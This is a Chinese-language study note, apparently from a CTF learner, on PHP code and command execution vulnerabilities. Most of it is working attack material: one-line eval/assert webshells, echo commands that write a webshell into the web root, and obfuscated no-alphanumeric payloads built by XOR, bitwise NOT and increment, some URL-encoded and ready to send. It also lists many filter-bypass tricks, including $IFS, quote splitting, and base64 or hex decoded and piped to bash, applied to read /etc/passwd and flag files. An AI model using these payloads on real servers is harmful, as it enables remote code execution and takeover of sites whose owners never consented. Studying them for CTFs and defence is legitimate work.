命令执行
原因:
分为命令执行漏洞和代码执行漏洞
后端代码没有对用户输入的参数进行严格过滤,导致参数被拼接到命令执行函数中。攻击者可以通过命令执行漏洞在目标服务器执行任意命令
执行的是服务端代码如phpinfo(),而命令执行漏洞执行的是系统命令如whoami
危害:
- 继承web服务程序的权限去执行系统命令或读写文件
- 反弹shell,获得目标服务器的权限
- 进一步内网渗透
php代码执行函数:
1 2 3 4 5 6
| 1.eval():eval函数传入的参数必须为php代码,既要以分号结尾;如果想执行系统命令,必须加上命令执行函数如system(“命令”); 2.assert():适用于php5版本 php7.0可以用配置文件去掉assert的代码执行,php7.1不能执行代码, php7.2不能传入字符串参数。功能:检测一个断言是否为false 3.call_user_func():回调函数 4.call_user_func_array() 5.preg_replace:php>5.5不再支持,正则表达式替换函数 6.array_map
|
1.eval:eval函数传入的参数必须为php代码,既要以分号结尾;如果想执行系统命令,必须加上命令执行函数如system(“命令”);
1 2
| eval ( string $code ) <?php @eval($_POST['cmd']);?>
|
2.assert:适用于php5版本 php7.0可以用配置文件去掉assert的代码执行,php7.1不能执行代码, php7.2不能传入字符串参数。功能:检测一个断言是否为false
1 2 3
| assert ( mixed $assertion [, string $description ] )
<?php @assert($_POST['cmd'])?>
|
3.call_user_func
1 2 3 4 5 6 7
| call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
<?php call_user_func("assert",$_POST['cmd']); //传入的参数作为assert函数的参数 //cmd=system(whoami) ?>
|
4.call_user_func_array
1 2 3 4 5 6 7 8 9
| call_user_func_array ( callable $callback , array $param_arr )
<?php $cmd=$_POST['cmd']; $array[0]=$cmd; call_user_func_array("assert",$array); //将传入的参数作为数组的第一个值传递给assert函数 //cmd=system(whoami) ?>
|
5.preg_replace:php>5.5不再支持
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| preg_replace("/abc/e", $_REQUEST['cmd'], "abc");
<?php if(isset($_GET['data'])) { $data = $_GET['data']; $data = preg_replace('/(.*)/e', 'strtoupper("\\1")',$data); // $data = preg_replace('/(.*)/e', 'strtoupper('\\1')',$data); print $data; } // 通过正则表达式把输入的结果$data放入了缓冲区,使用strtoupper("\\1")进行读取 // /e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码 // ?data=[php]{${system(ipconfig)}}[/php] // 在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。 // 注意:双引号中的函数不会被执行和替换。 // 防御:将 strtoupper("\\1") 修改为strtoupper('\\1'),这样'${phpinfo()}'就会被当做一个普通的字符串处理(单引号中的变量不会被处理) ?>
|
6.array_map
1 2 3 4 5 6 7 8
| $function_name = $_POST['func']; // 从post参数func获取函数名 $function_args = $_POST['args']; // 从post参数args获取参数值 $arr[0] = $function_args; // 把参数值换成数组 array_map($function_name, $arr); // array_map执行 func(args); 使用方法: body: func=system&args=whoami // system("whoami"); func=phpinfo&args=1 // phpinfo(1);
|
呃,这里eval不是函数,特别标记一下,所以不能传进去该获取shell函数
常见系统命令执行函数:
1 2 3 4 5 6 7
| system():执行外部程序,并且显示输出; exec():执行一个外部程序 shell_exec():通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。 passthru():执行unix系统命令并且显示原始输出 pcntl_exec():在当前进程空间执行指定程序 popen():打开进程文件指针 proc_open():执行一个命令,并且打开用来输入/输出的文件指针。
|
1.system
1 2 3
| system ( string $command [, int &$return_var ] )
system('ls')
|
2.exec:无回显;
1 2 3 4 5 6 7 8 9 10 11 12
| exec ( string $command [, array &$output [, int &$return_var ]] ) <?php // 输出运行中的 php/httpd 进程的创建者用户名 // (在可以执行 "whoami" 命令的系统上) // echo exec('whoami'); // exec('ls -la', $return); // var_dump($return);
$cmd=$_POST['cmd']; @exec($cmd, $return); var_dump($return) ?>
|
3.passthru(读取二进制流):system()的平替,写个命令就会执行命令,自己能回显
1 2 3
| passthru("whoami");
passthru($_REQUEST['cmd']);
|
4.shell_exec和反引号``:不能自己回显,需要借用echo\print等输出结果
5.popen:语法为popen(string command, string mode),command参数: 要执行的命令,mode参数: 模式’r’表示阅读,’w’ 表示写入。不能自己回显,需要print_r等输出内容
6.proc_popen
1 2 3 4 5 6 7
| proc_open($command,$descriptor spec,$pipes,$cwd,$env vars,$options) $command是要执行的命令。 $descriptorspec是一个描述符规范数组,用于指定进程的输入、输出和错误的文件描述符。 $pipes是一个引用变量,用于存储与进程相关的管道。 $cwd(可选)是设置子进程的当前工作目录。 $env(可选)是设置子进程的环境变量。 $other_options(可选)是其他选项,如设置超时等。
|
7.pcntl_exec:语法格式为pcntl exec(string path, array args = ?, array $envs = ?)
path必须时可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本 (比如文件第一行是#!/usr/local/bin/perl的perl脚本)。args是一个要传递给程序的参数的字符串数组。
envs是一个要传递给程序作为环境变量的字符串数组。这个数组是 key => value格式的,key代表要传递的环境变量的名称,value代表该环境变量值。该函数没有回显,
1 2
| 解决方法一:cat文件并输出到有权限读取路径; 解决方法二:shell反弹
|
命令执行写webshell
1 2
| windows: echo "<?php eval($_POST['cmd']);?>" > webshell.php
|
1 2
| linux:需要转义\$ 单引号包裹不需要转义,需要写入到有权限的目录。 echo "<?php eval(\$_POST['cmd']);?>" > /var/www/html/upload/webshell.php
|
反弹shell
在没有回显的命令执行或是无法上传webshell;就需要反弹shell。
利用
云平台;交互页面;容器逃逸;
绕过:(以下是转载内容)
;
*/ ?通配符
1 2 3 4
| cat fl* 利用*匹配任意 不行 echo "Y2F0IGZsYWcucGhw"| base64 -d | bash 也不行 ca\t fl\ag.php 不行 cat fl''ag.php 不行
|
变量拼接:
1 2
| a=f;b=lag.php;cat $a$b a=g;cat$IFS$1fla$a.php
|
4.无字母rce
利用各种非数字字母的字符,经过各种变换(异或取反自增),构造出单个的字母字符。然后把单个字符拼接成一个函数名,如assert,然后就可以动态执行了
1、异或^
这里的异或,指的是php按位异或,在php中,两个字符进行异或操作后,得到的依然是一个字符,所以说当我们想得到a-z中某个字母时,就可以找到两个非字母数字的字符,只要他们俩的异或结果是这个字母即可。而在php中,两个字符进行异或时,会先将字符串转换成ascii码值,再将这个值转换成二进制,然后一位一位的进行按位异或,异或的规则是:1^1=0,1^0=1,0^1=1,0^0=0,简单的来说就是相同为零,不同为一,ascii码表见后面:
1 2 3 4 5 6 7 8 9
| a:'%40'^'%21' ; s:'%7B'^'%08' ; s:'%7B'^'%08' ; e:'%7B'^'%1E' ; r:'%7E'^'%0C' ; t:'%7C'^'%08' P:'%0D'^'%5D' ; O:'%0F'^'%40' ; S:'%0E'^'%5D' ; T:'%0B'^'%5F' 拼接起来: $_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08'); // $_=assert $__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F'); // $__=_POST $___=$$__; //$___=$_POST $_($___[_]);//assert($_POST[_]); 放到一排就是: $_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');$___=$$__;$_($___[_]);
|
2.取反
每一个字符取反之后都会变成另一个字符,不像异或需要两个字符才能构造出一个字符。
方法一
首先,我们想要构造的依然是assert($POST[])这条语句,和上面一样,我们先用php的取反符号~将字符串assert和_POST取反,这里需要注意的是,由于它取反之后会有大量不可显字符,所以我们同样需要将其url编码,然后当我们要用的时候,再利用取反符号把它们取回来即可。
1 2 3 4 5 6
| $_=~(%9E%8C%8C%9A%8D%8B); //这里利用取反符号把它取回来,$_=assert $__=~(%A0%AF%B0%AC%AB); //$__=_POST $___=$$__; //$___=$_POST $_($___[_]); //assert($_POST[_]); 放到一排就是: $_=~(%9E%8C%8C%9A%8D%8B);$__=~(%A0%AF%B0%AC%AB);$___=$$__;$_($___[_]);
|
方法二
方法二是我看p神博客才了解到的方法,就是说利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,然后再进行一次取反操作,就能得到一个我们想要的字符,这里的原理我确实是不知道,因为这里好像是涉及到计组知识而我现在还没学,害,现在就只有先学会怎么用,原理后面再补了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| $_++; //得到1,此时$_=1 $__ = "极"; $___ = ~($__{$_}); //得到a,此时$___="a" $__ = "区"; $___ .= ~($__{$_}); //得到s,此时$___="as" $___ .= ~($__{$_}); //此时$___="ass" $__ = "皮"; $___ .= ~($__{$_}); //得到e,此时$___="asse" $__ = "十"; $___ .= ~($__{$_}); //得到r,此时$___="asser" $__ = "勺"; $___ .= ~($__{$_}); //得到t,此时$___="assert" $____ = '_'; //$____='_' $__ = "寸"; $____ .= ~($__{$_}); //得到P,此时$____="_P" $__ = "小"; $____ .= ~($__{$_}); //得到O,此时$____="_PO" $__ = "欠"; $____ .= ~($__{$_}); //得到S,此时$____="_POS" $__ = "立"; $____ .= ~($__{$_}); //得到T,此时$____="_POST" $_ = $$____; //$_ = $_POST $___($_[_]); //assert($_POST[_]) 放到一排就是: $_++;$__ = "极";$___ = ~($__{$_});$__ = "区";$___ .= ~($__{$_});$___ .= ~($__{$_});$__ = "皮";$___ .= ~($__{$_});$__ = "十";$___ .= ~($__{$_});$__ = "勺";$___ .= ~($__{$_});$____ = '_';$__ = "寸";$____ .= ~($__{$_});$__ = "小";$____ .= ~($__{$_});$__ = "欠";$____ .= ~($__{$_});$__ = "立";$____ .= ~($__{$_});$_ = $$____;$___($_[_]); url:%24_%2B%2B%3B%24__%20%3D%20%22%E6%9E%81%22%3B%24___%20%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%8C%BA%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E7%9A%AE%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%8D%81%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%8B%BA%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24____%20%3D%20'_'%3B%24__%20%3D%20%22%E5%AF%B8%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%B0%8F%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E6%AC%A0%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E7%AB%8B%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24_%20%3D%20%24%24____%3B%24___(%24_%5B_%5D)%3B
|
3、自增
在处理字符变量的算数运算时,PHP
沿袭了Perl
的习惯,而不是C语言的。在C语言中,它递增的是ASCII值,a = 'Z'; a++;
将把 a
变成 '['
('Z'
的 ASCII 值是 90,'['
的 ASCII 值是 91),而在Perl中, $a = 'Z'; $a++;
将把 $a
变成'AA'
。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增或递减其他字符变量则无效,原字符串没有变化。
也就是说,只要我们获得了小写字母a
,就可以通过自增获得所有小写字母,当我们获得大写字母A
,就可以获得所有大写字母了
正好,数组(Array)中就正好有大写字母A
和小写字母a
,而在PHP中,如果强制连接数组和字符串的话,数组就会被强制转换成字符串,它的值就为Array
,那取它的第一个子母,就拿到A
了,那有了a
和A
,相当于我们就可以拿到a-z
和A-Z
中的所有字母了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php $_=[]; $_=@"$_"; // $_='Array'; $_=$_['!'=='@']; // $_=$_[0]; $___=$_; // A $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; // S $___.=$__; // S $__=$_; $__++;$__++;$__++;$__++; // E $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $___.=$__;
$____='_'; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $____.=$__;
$_=$$____; $___($_[_]); // ASSERT($_POST[_]); url:%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B'!'%3D%3D'%40'%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D'_'%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B 说实话真的太长了,要是稍微有个长度限制就用不了,所以说这种方法只做了解即可
|
php5和php7的区别
在研究无数字字母rce的过程中,一个很重要的函数就是assert
,但在php5的版本和php7的版本中,它是有一些区别的,我们上面的测试都是基于php5进行的,在php5中assert是一个函数,我们可以通过$f='assert';$f(...);
这样的方法来动态执行任意代码,在php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,但是在php7中,我们可以使用($a)()这种方法来执行命令,那相当于我们对phpinfo取反后就可以直接执行了,也可以选择file_put_contents()来写入shell,在php5中这样是不行的:
例子一
在php7中,因为可以使用($a)()这种方法来执行命令,所以说我们利用call_user_func()
来举例,(call_user_func)(system,whoami,'')
即可执行whoami
的命令:
那构造出来的结果就为:
1
| (~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c)(~%8c%86%8c%8b%9a%92,~%88%97%90%9e%92%96,'');
|
例子二
再来一个在php7中利用file_put_contents()
写入shell
的例子:
我们要构造的语句为:file_put_contents('4.php','<?php eval(\$_POST[1]);');
构造出来就为:
1
| (~(%99%96%93%9A%A0%8F%8A%8B%A0%9C%90%91%8B%9A%91%8B%8C))(~(%CB%D1%8F%97%8F),~(%C3%C0%8F%97%8F%DF%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4));
|
ascii码表。16进制
空格过滤绕过:
1.大括号
2.$IFS代替空格
1 2 3 4 5 6 7
| $IFS$9,${IFS},$IFS这三个都行 Linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符 (internal field separator)。 ?cmd=ls$IFS-I 单纯$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名 ?cmd=ls${IFS}-l $IFS$9后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者始终为空字符串。 ?cmd=ls${IFS}$9-l
|
3.重定向字符>,<
4.%09绕过
文件名的过滤:
1.??,*绕过
2.单引号,双引号,反引号绕过正则
1 2 3 4
| cat /fl""ag c""at /e't'c/pas``s``wd 对php来说这是fl""ag而不是flag关键字不会匹配上,但是对于linux系统来说cat /fl""ag等效于cat /flag。外面包裹的是单引号里面就是双引号,外面包裹的是双引号里面就是单引号,或者用斜线\去掉功能性,避免报错 passthru('cat /fl""ag.p\'\'hp')
|
3.反斜杠\绕过
1 2
| \特殊字符去掉功能性,单纯表示为字符串,而linux看到反斜线\会自动帮你去掉,正常执行命令 cat fl\ag.p\hp
|
4.特殊变量: $1到 $9,$@和$*
1 2 3 4 5 6
| 这些特殊变量输出为空 cat /fl$9ag 或者可以在单词词尾加上$x x是任意字母 c$@at /e$@tc/pas$@swd cat$x /etc$x/passwd$x ca$@t /etc$x/passwd$x
|
5.内联执行绕过
1 2
| a=c;b=a;c=t;$a$b$c /1.txt a=f;c=a;d=g;b=l;cat $a$b$c$d.php(abcd拼接出来flag)
|
6.利用linux中的环境变量
1 2 3 4
| echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin echo f${PATH:5:1}${PATH:8:1}${PATH:66:1}.${PATH:93:1}h${PATH:93:1} 表示了flag.php
|
常见文件读取命令绕过
1.base64解码
1 2 3 4 5 6
| cat flag.php--> Y2FOIGZSYWcucGhw echo Y2FOIGZsYWcucGhw | base64 -d 管道符|把前面指令执行的结果,变成后面指令的参数,所以这里会解码读取命令 echo Y2FOIGZsYWcucGhw | base64 -d | bash $(echo Y2FOIGZsYWcucGhw | base64 -d) `echo Y2FOIGZsYWcucGhw | base64 -d`
|
2.base32
3.HEX编码
1 2 3 4 5
| tac flag--> 74616320666c6167 echo "74616320666c6167”|xxd -r -p|bash xxd: 二进制显示和处理文件工具。 -r-p将纯十六进制转储的反向输出打印为了ASCII格式 bash、sh、/bin/bash、反引号等
|
4.shellcode编码(16进制机器码)
1 2 3 4 5 6
| ?cmd=passthru('printf"\x74\x61\x63\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"|bash');
?cmd=passthru('`printf"\x74\x61\x63\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"`');
?cmd=passthru('$(printf"\x74\x61\x63\x20\x66\x6c\x61\x67\x2e\x70\x68\x70")');
|
过滤cat读取命令
1 2 3
| cat flag.php 是用于在终端上显示当前目录下名为 flag.php 的文件的内容。 cat /flag 是用于在终端上显示根目录下名为 flag 的文件的内容。 cat flag 是用于在终端上显示当前目录下名为 flag 的文件的内容。
|
正常来说flag放在根目录下,不过也可能是在当前网页目录下
别的指令也同理
1.tac:反向显示,从最后一行往前
2.more:一页一页的展示
3.less:类似more
4.tail:查看末尾
5.nl:显示的时候输出行号
1 2 3 4 5
| nl /flag 和 nl flag 是不同的。
在 Linux 系统中,nl 命令用于给文件添加行号。当使用 nl /flag 命令时,/flag 被视为一个文件路径,并将该文件的内容输出到标准输出(通常是终端),并在每一行前添加行号。如果 /flag 文件存在且有读取权限,那么 nl /flag 将会给该文件的内容添加行号。
而当使用 nl flag 命令时,flag 被视为一个相对于当前目录的文件路径。也就是说,nl flag 命令将会尝试在当前目录下找到名为 flag 的文件,并给其内容添加行号。(不过flag一般在根目录)
|
6.od:以二进制方式读取,正常的od /flag输出的纯纯二进制,需要
1
| passthru("od -A d -c /fla\g");
|
7、xxd:读取二进制文件
8.sort:主要用于排序文件
1 2 3
| /usr/bin/s?rt /flag so?t /flag /usr/bin/sort 和 sort 实际上是同一个命令。/usr/bin 目录是系统的标准目录之一,它包含了许多系统命令和工具的二进制文件,而 sort 命令通常就存放在 /usr/bin 目录中,因此/usr/bin/sort /flag 和 sort /flag 是等价的。有时候sort不行可能/usr/bin/s?rt可以
|
9、uniq:报告或删除文件中重复的行,其实当成cat用就行
10、file -f:报错出具体内容
1
| passthru("file -f /flag");
|
11、grep:在文本中查找指定字符串
1
| passthru("grep fla /fla*");
|
12、strings:等于cat
可参考观看的的连接
1
| https://mp.weixin.qq.com/s?__biz=MzIxNDAyNjQwNg==&mid=2456098885&idx=1&sn=7ae29de00da6dd4dd0d1dd80ec442cc7&chksm=803c698cb74be09ac2134f4d55f64dc51a2e3ec114f5471511d00202e4b0d32ef7f484039f26&mpshare=1&scene=23&srcid=0706J9BuISmH2RvRKeTexsfT&sharer_sharetime=1657099643261&sharer_shareid=9cd9dc169042726f3d8646a229a355c0#rd
|